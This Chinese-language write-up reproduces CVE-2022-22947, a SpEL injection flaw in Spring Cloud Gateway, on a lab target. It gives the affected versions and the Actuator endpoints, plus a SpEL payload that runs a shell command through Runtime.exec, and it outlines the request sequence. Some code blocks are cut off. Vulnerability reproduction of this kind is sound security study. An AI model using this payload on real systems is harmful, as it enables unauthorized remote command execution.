spring 命令执行 (CVE-2022-22947)
Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。
影响范围
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
原理
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
Spring cloud GateWay的actuator相关端点:
获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh
其中,调用添加路由的端点时,可以向路由中加入
filters
,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters
可以直接利用gateway自带的AddResponseHeader
,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。
复现
利用vulfocus在线靶场来进行漏洞复现 靶场地址
构造payload
1 | id 字段指定新路由的名称,必须全局唯一; |
payload示例
1 | { |
步骤:
- 按照上面的示例payload,通过构造spEL,在spEL中使用
Runtime
类执行命令。 - 调用刷新路由的端点,刷新gateway中的路由
- 调用获取指定路由的端点,使路由的spEL表达式被解析执行
因为 filters
中的value
类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)
构造成返回String
字符串的返回值。
例如:#{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}
1 | POST /actuator/gateway/routes/test |
1 | { |
发送到返回包 repeater
1 | POST /actuator/gateway/refresh |
1 | GET /actuator/env |